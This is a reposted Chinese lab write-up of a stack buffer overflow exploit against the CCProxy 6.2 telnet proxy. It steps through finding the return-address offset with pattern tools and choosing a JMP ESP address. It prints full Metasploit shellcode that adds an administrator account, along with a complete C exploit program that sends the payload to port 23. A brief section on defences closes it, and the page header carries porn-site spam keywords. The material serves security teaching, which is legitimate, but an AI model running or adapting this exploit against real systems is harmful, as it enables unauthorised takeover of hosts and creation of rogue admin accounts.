日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)

發布時間:2024/4/11 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

實驗內容:

分析緩沖區溢出漏洞,利用CCProxy 6.2的這個緩沖區溢出漏洞,利用ping命令向其發送一個長的字符串,溢出局部變量,覆蓋RET的位置,從而實現程序跳轉到自己想要讓其執行的程序上去。

?? 定位RET

?? 尋找跳轉指令地址

?? 構造shellcode

?? 定位shellcode存放位置

?? 編寫攻擊程序

實驗環境:

攻擊主機:

系統環境:windows 7 32bit

攻擊程序開發環境:vc++ 6.0

虛擬機:VMware Workstation

目標主機:

系統環境:windows xp sp3 (關閉DEP)

溢出對象:CCProxy6.2

調試工具:CDB

其他工具:ActivePerl

patternCreate.pl

patternOffset.pl

Metasploit

實驗設計:

本實驗的目標主要是分析緩沖區溢出漏洞,利用CCProxy 6.2的這個緩沖區溢出漏洞,利用ping命令向其發送一個長的字符串,溢出局部變量,覆蓋RET的位置,從而實現程序跳轉到自己想要讓其執行的程序上去。

主要試驗流程如下:


詳細過程:

(1)首先,先確定目的主機IP地址以及ccproxy telnet服務的端口。


通過查看,確定目的主機IP地址192.168.220.128,ccproxy telnet使用端口23。

(2)下面分析漏洞:CCProxy在代理Telnet協議時,可以接受Ping命令。Ping命令格式:ping hostname\r\n當hostname的長度大于或者等于1010字節時,CCProxy 6.2會發生緩沖區溢出,導致程序崩潰。

因為windows xp sp3已經有數據緩沖溢出保護機制,所以要進行這個實驗需要手動關閉DEP。運行->c:\boot.ini,打開boot文件進行編輯,將指定位置修改為關閉。


我們在目的主機運行ccproxy,然后嘗試使用telnet連接ccproxy,驗證連通性以及環境配置。

cmd下輸入命令行:telnet 192.168.220.128

ping AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

終端提示“Host not found”,說明CCProxy正確地處理了這個畸形數據,仍工作正常。

當ping AAAA……(2000個A)時,

ccproxy崩潰,提示失去了跟主機的連接,這說明緩沖區溢出,導致崩潰。

我們使用CDB調試,查看詳細信息:



我們發現,緩沖區溢出時,溢出的內容會將RET原來的內容覆蓋(A對應41),這樣當函數返回時,RET的值傳給EIP寄存器(存放下條指令地址),設想,如果我們精心構造一個字符串,將RET用JMP ESP指令地址覆蓋,函數返回時就會轉而執行JMP ESP 指令,這時候我們再將ESP里面放入程序代碼的shellcode,這樣就會執行我們自己編寫的程序,這就形成漏洞攻擊。

于是,我們首先需要定位RET。

(3)定位RET。我們可以構造一串完全不重復的字符串,ping之后溢出,捕獲異常,查看EIP內容,因為字符串不重復,所以EIP內容一定可以對應找到唯一的字符串,這樣就可以計算出EIP內容在字符串中的相對偏移量。

我們通過patternCreate.pl生成2000個完全不重復字符串。


然后將生成的字符串ping給目標主機。CDB捕獲異常,查看EIP


然后通過patternOffset.pl計算出相對偏移量。


也就是說應該將要覆蓋RET對應的字符串放在整個字符串第1012開始的位置。

(4)尋找JMP ESP 指令地址。這里可以選用通用地址:0x7ffa4512。然后在CDB下驗證一下是否正確。


(4)構造shellcode。也就是要構造函數返回時要執行的指令。可以通過metasploit來構造,這里構造一個在目標主機添加管理員賬戶的shellcode:

“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49”

“\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36”

“\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34”

“\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41”

“\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54”

“\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57”

“\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38”

“\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48”

“\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c”

“\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e”

“\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58”

“\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44”

“\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58”

“\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43”

“\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47”

“\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a”

“\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b”

“\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43”

“\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37”

“\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49”

“\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56”

“\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46”

“\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36”

“\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36”

“\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44”

“\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52”

“\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56”

“\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56”

“\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57”

“\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52”

“\x41\x44\x46\x44\x46\x44\x42\x30\x5a”

(5)下面需要定位shellcode存放位置。像定位RET一樣,ping生成的字符串,CDB捕獲異常。不過這里注意,ESP指向的地址處的內容才是shellcode的內容,所以我們需要根據ESP內容來獲取它指向的地址里面的內容A,然后定位A在字符串里的相對偏移,就是shellcode應該放置的位置。


(6)構造exploit。按照前面計算得出的相對偏移,將JMP ESP指令和shellcode放置在正確位置。

(7)編寫攻擊程序。采用C語言Socket編程,實現向目標主機發送ping字符串,完成攻擊。

代碼如下:

[cpp]?view plaincopy
  • #include?<stdio.h>??
  • ??
  • #include?<stdlib.h>??
  • ??
  • #include?<windows.h>??
  • ??
  • #pragma?comment?(lib,”ws2_32″)??
  • ??
  • //創建管理員用戶shellcode??
  • ??
  • char?shellcode[]?=??
  • ??
  • “\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49”??
  • ??
  • “\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36”??
  • ??
  • “\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34”??
  • ??
  • “\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41”??
  • ??
  • “\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54”??
  • ??
  • “\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57”??
  • ??
  • “\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38”??
  • ??
  • “\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48”??
  • ??
  • “\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c”??
  • ??
  • “\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e”??
  • ??
  • “\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58”??
  • ??
  • “\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44”??
  • ??
  • “\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58”??
  • ??
  • “\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43”??
  • ??
  • “\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47”??
  • ??
  • “\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a”??
  • ??
  • “\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b”??
  • ??
  • “\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43”??
  • ??
  • “\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37”??
  • ??
  • “\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49”??
  • ??
  • “\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56”??
  • ??
  • “\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46”??
  • ??
  • “\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36”??
  • ??
  • “\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36”??
  • ??
  • “\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44”??
  • ??
  • “\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52”??
  • ??
  • “\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56”??
  • ??
  • “\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56”??
  • ??
  • “\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57”??
  • ??
  • “\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52”??
  • ??
  • “\x41\x44\x46\x44\x46\x44\x42\x30\x5a”;??
  • ??
  • void?main()??
  • ??
  • {??
  • ??
  • WSADATA?WSAData;??
  • ??
  • char?Buff[2000],Recv[2000];??
  • ??
  • int?nRet,conRet;??
  • ??
  • struct?sockaddr_in?ipAddress;??
  • ??
  • SOCKET?sockettest;??
  • ??
  • if(WSAStartup(MAKEWORD(1,1),&WSAData)!=0)??
  • ??
  • {??
  • ??
  • printf(“ERROR\n”);??
  • ??
  • WSACleanup();??
  • ??
  • exit(1);??
  • ??
  • }??
  • ??
  • sockettest=?socket(AF_INET,SOCK_STREAM,0);??
  • ??
  • ipAddress.sin_family?=?AF_INET;??
  • ??
  • ipAddress.sin_addr.s_addr?=?inet_addr(“192.168.220.128”);??
  • ??
  • ipAddress.sin_port?=?htons(23);??
  • ??
  • conRet=connect(sockettest,(struct?sockaddr?*)&ipAddress,sizeof(ipAddress));??
  • ??
  • memset(Buff,?0x90,?sizeof(Buff)-1);?//全部NOP填充??
  • ??
  • memcpy(&Buff[0],”ping?“,5);?//設置ping指令??
  • ??
  • memcpy(&Buff[1998],”\r\n”,2);?//設置結尾的\r\n??
  • ??
  • memcpy(&Buff[1017],”\x12\x45\xfa\x7f”,4);?//設置JMP?ESP指令地址,定位1012,加上ping為1017??
  • ??
  • memcpy(&Buff[9],shellcode,sizeof(shellcode)-1);?//?ping5個,加之后4個NOP??
  • ??
  • memset(Recv,0x90,sizeof(Recv));?//初始化緩沖區??
  • ??
  • recv(sockettest,Recv,sizeof(Recv),0);//目的主機存入緩沖區??
  • ??
  • nRet=send(sockettest,Buff,sizeof(Buff),0);??
  • ??
  • Sleep(1000);??
  • ??
  • WSACleanup();??
  • ??
  • printf(“attack?ok?!\n”);??
  • ??
  • }??


  • (8)執行結果。

    攻擊執行前,系統只有一個管理員賬戶。

    攻擊之后,ccproxy崩潰,并且系統增加了一個管理員賬戶。

    實驗結論:

    通過了一段時間的努力學習與實踐運用,終于完成了這一次緩沖區溢出漏洞攻擊實驗。

    在這次試驗中通過ccproxy漏洞進行攻擊,實現了在目標主機增加一個管理員賬戶。

    實驗體會:

    通過分析漏洞,也思考了一些漏洞攻擊的防范問題。整個防范措施大概有源碼級保護方法、運行期保護方法、阻止攻擊代碼執行、加強系統保護等幾種。對于源碼保護,可以提高警惕,在編寫程序時對于涉及緩沖區的部分進行嚴格的邊界檢查,防止溢出。也可以利用漏洞掃描工具對源碼中可能存在緩沖區溢出漏洞的代碼部分分析,尋找bug并解決。運行期保護主要研究如何在程序運行的過程中發現或阻止緩沖區溢出攻擊。比如數組邊界檢查,檢查數組實際長度是否超過了分配的長度,如果超過,立即進行相應的處理。阻止攻擊代碼執行,可以設定堆棧數據段不可執行,這樣就可以避免被攻擊。加強系統保護主要是保護系統信息、關閉不需要的服務、最小權限原則、使用系統的堆棧補丁、檢查系統漏洞并及時為軟件打上安全補丁等。

    超強干貨來襲 云風專訪:近40年碼齡,通宵達旦的技術人生

    總結

    以上是生活随笔為你收集整理的缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。